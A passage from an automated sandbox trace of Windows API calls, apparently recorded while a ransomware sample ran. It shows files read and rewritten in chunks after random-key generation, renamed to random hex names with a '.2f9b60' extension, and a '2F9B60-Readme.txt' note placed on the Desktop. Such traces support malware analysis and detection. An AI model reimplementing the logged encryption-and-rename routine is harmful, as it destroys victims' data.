lpOverlapped=0x0 | out: lpBuffer=0x2294fc20*, lpNumberOfBytesRead=0x2294fc68*=0x4, lpOverlapped=0x0) returned 1 [0099.077] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0099.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0099.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0099.078] NtQuerySystemTime (in: CurrentTime=0x2294fb60 | out: CurrentTime=0x2294fb60*=132462177046054000) returned 0x0 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x3d97042a [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x6a7d7a9d [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x74429bd2 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x515ac8a7 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x3ce39bf9 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x2dc8e951 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x10ab17b [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x59bcce7c [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x7e85ae27 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x5afb59b2 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x1e3d7fe3 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x162204f3 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x2ead89b0 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x3ce970e4 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x143769e1 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x2c136593 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x7aa6fd48 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0xde92fc2 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x1a99c0f4 [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x73218fdf [0099.078] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x488c9277 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x23d48d19 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x2de794ec [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x1fcc1732 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x5db99040 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x2e0a927b [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x67a8d045 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x69612d08 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x6d06a4ba [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x3b682f07 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x4d269151 [0099.079] RtlRandomEx (in: Seed=0x2294fb50 | out: Seed=0x2294fb50) returned 0x61c9feb2 [0099.089] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.089] ReadFile (in: hFile=0x150c, lpBuffer=0x202b20b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2294fbc0, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesRead=0x2294fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0099.089] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0099.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0099.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0099.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b5cc0 [0099.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0099.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0099.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618b0) returned 1 [0099.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0099.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.090] WriteFile (in: hFile=0x150c, lpBuffer=0x202b5cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2294fbc0, lpOverlapped=0x0 | out: lpBuffer=0x202b5cc0*, lpNumberOfBytesWritten=0x2294fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b5cc0) returned 1 [0100.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b20b0) returned 1 [0100.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ef30 [0100.929] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.929] WriteFile (in: hFile=0x150c, lpBuffer=0x1b865d30*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2294fc70, lpOverlapped=0x0 | out: lpBuffer=0x1b865d30*, lpNumberOfBytesWritten=0x2294fc70*=0x11a, lpOverlapped=0x0) returned 1 [0102.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0102.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8698c0 [0102.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0102.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0102.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260740 [0102.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0102.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0102.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0102.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 [0102.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0102.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9c190 [0102.041] sprintf (in: _Dest=0x1cd9c190, _Format="%c%c" | out: _Dest="1e") returned 2 [0102.041] sprintf (in: _Dest=0x1cd9c192, _Format="%c%c" | out: _Dest="db") returned 2 [0102.041] sprintf (in: _Dest=0x1cd9c194, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c196, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c198, _Format="%c%c" | out: _Dest="e4") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c19a, _Format="%c%c" | out: _Dest="d7") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c19c, _Format="%c%c" | out: _Dest="77") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c19e, _Format="%c%c" | out: _Dest="d1") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1a0, _Format="%c%c" | out: _Dest="82") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1a2, _Format="%c%c" | out: _Dest="1d") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1a4, _Format="%c%c" | out: _Dest="97") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1a6, _Format="%c%c" | out: _Dest="c3") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1a8, _Format="%c%c" | out: _Dest="48") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1aa, _Format="%c%c" | out: _Dest="de") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1ac, _Format="%c%c" | out: _Dest="1f") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1ae, _Format="%c%c" | out: _Dest="2c") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1b0, _Format="%c%c" | out: _Dest="a7") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1b2, _Format="%c%c" | out: _Dest="8e") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1b4, _Format="%c%c" | out: _Dest="9f") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1b6, _Format="%c%c" | out: _Dest="93") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1b8, _Format="%c%c" | out: _Dest="87") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1ba, _Format="%c%c" | out: _Dest="de") returned 2 [0102.042] sprintf (in: _Dest=0x1cd9c1bc, _Format="%c%c" | out: _Dest="c2") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1be, _Format="%c%c" | out: _Dest="3d") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1c0, _Format="%c%c" | out: _Dest="89") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1c2, _Format="%c%c" | out: _Dest="33") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1c4, _Format="%c%c" | out: _Dest="c4") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1c6, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1c8, _Format="%c%c" | out: _Dest="cd") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1ca, _Format="%c%c" | out: _Dest="1d") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1cc, _Format="%c%c" | out: _Dest="d7") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1ce, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1d0, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1d2, _Format="%c%c" | out: _Dest="41") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1d4, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1d6, _Format="%c%c" | out: _Dest="79") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1d8, _Format="%c%c" | out: _Dest="a7") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1da, _Format="%c%c" | out: _Dest="fe") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1dc, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.043] sprintf (in: _Dest=0x1cd9c1de, _Format="%c%c" | out: _Dest="82") returned 2 [0102.043] RtlInitAnsiString (in: DestinationString=0x2294fce8, SourceString="1edbe1e5e4d777d1821d97c348de1f2ca78e9f9387dec23d8933c4fbcd1dd7fbfc41e179a7fea482" | out: DestinationString="1edbe1e5e4d777d1821d97c348de1f2ca78e9f9387dec23d8933c4fbcd1dd7fbfc41e179a7fea482") [0102.043] RtlAnsiStringToUnicodeString (in: DestinationString=0x2294fcb8, SourceString="1edbe1e5e4d777d1821d97c348de1f2ca78e9f9387dec23d8933c4fbcd1dd7fbfc41e179a7fea482", AllocateDestinationString=1 | out: DestinationString="1edbe1e5e4d777d1821d97c348de1f2ca78e9f9387dec23d8933c4fbcd1dd7fbfc41e179a7fea482") returned 0x0 [0102.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050bed0 [0102.043] wcscat (in: _Dest=0x20509ba0, _Source="1edbe1e5e4d777d1821d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1edbe1e5e4d777d1821d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1edbe1e5e4d777d1821d" [0102.044] wcscat (in: _Dest=0x20509ba0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1edbe1e5e4d777d1821d.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1edbe1e5e4d777d1821d.2f9b60" [0102.044] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1edbe1e5e4d777d1821d.2f9b60", NtPathName=0x2294fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1edbe1e5e4d777d1821d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050be20 [0107.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050be20) returned 1 [0107.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205058c0) returned 1 [0107.554] NtQueryInformationFile (in: FileHandle=0x150c, IoStatusBlock=0x2294fcf8, FileInformation=0x2294fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2294fcf8, FileInformation=0x2294fd08) returned 0x0 [0107.554] NtSetInformationFile (FileHandle=0x150c, IoStatusBlock=0x2294fcf8, FileInformation=0x2294fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509ba0) returned 1 [0108.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0108.829] FlushFileBuffers (hFile=0x150c) returned 1 [0108.849] CloseHandle (hObject=0x150c) returned 1 [0108.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b867740 [0108.851] wcscpy (in: _Dest=0x1b867740, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.851] wcscat (in: _Dest=0x1b867740, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.851] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 Thread: id = 804 os_tid = 0x1374 [0099.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0970 [0099.102] wcscpy (in: _Dest=0x202b0970, _Source="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0099.102] wcscat (in: _Dest=0x202b0970, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\" [0099.102] wcscat (in: _Dest=0x202b0970, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*" [0099.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0099.102] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d0d0 [0099.102] wcscmp (_String1=".", _String2=".") returned 0 [0099.102] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.103] wcscmp (_String1="..", _String2=".") returned 1 [0099.103] wcscmp (_String1="..", _String2="..") returned 0 [0099.103] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.103] FindClose (in: hFindFile=0x1cd9d0d0 | out: hFindFile=0x1cd9d0d0) returned 1 [0099.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0099.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0970) returned 1 [0099.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adf20) returned 1 Thread: id = 805 os_tid = 0x1378 [0099.105] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat")) returned 0x120 [0099.105] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat", dwFileAttributes=0x20) returned 1 [0100.658] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1540 [0100.658] GetFileSizeEx (in: hFile=0x1540, lpFileSize=0x22f3fd80 | out: lpFileSize=0x22f3fd80*=4194304) returned 1 [0100.658] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x3ffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.658] ReadFile (in: hFile=0x1540, lpBuffer=0x22f3fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22f3fd48, lpOverlapped=0x0 | out: lpBuffer=0x22f3fd00*, lpNumberOfBytesRead=0x22f3fd48*=0x4, lpOverlapped=0x0) returned 1 [0100.739] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0100.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a30 [0100.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a20 [0100.740] NtQuerySystemTime (in: CurrentTime=0x22f3fc40 | out: CurrentTime=0x22f3fc40*=132462177062590000) returned 0x0 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x3b6f1749 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x77bdd037 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7c2b7041 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x12122390 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7ef11929 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x4cffa58e [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x55cac9c0 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x6e447787 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x600c1f67 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x416197a3 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x759645cd [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x304bca8a [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x16065bbd [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x6b132f0e [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x41eedda0 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x43c100b7 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x4903cc7d [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7582e612 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x111f7db3 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x41eedda0 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x3a9a448a [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x72508322 [0100.740] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7c564901 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x266487b7 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x3b237502 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x2134463e [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x17b27518 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x5dbb9eef [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x2e1c21d0 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7ddc3697 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x8b93311 [0100.741] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x18c1cbf8 [0100.750] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.750] ReadFile (in: hFile=0x1540, lpBuffer=0x201e2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22f3fca0, lpOverlapped=0x0 | out: lpBuffer=0x201e2d00*, lpNumberOfBytesRead=0x22f3fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.608] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0101.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0101.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7800) returned 1 [0101.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4204c1b0 [0101.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0101.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0101.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0101.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.609] WriteFile (in: hFile=0x1540, lpBuffer=0x4204c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22f3fca0, lpOverlapped=0x0 | out: lpBuffer=0x4204c1b0*, lpNumberOfBytesWritten=0x22f3fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4204c1b0) returned 1 [0159.363] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x201c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.363] ReadFile (in: hFile=0x1540, lpBuffer=0x201e2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22f3fca0, lpOverlapped=0x0 | out: lpBuffer=0x201e2d00*, lpNumberOfBytesRead=0x22f3fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.987] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x201c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0159.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a10 [0159.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a10) returned 1 [0159.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e485a0 [0159.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 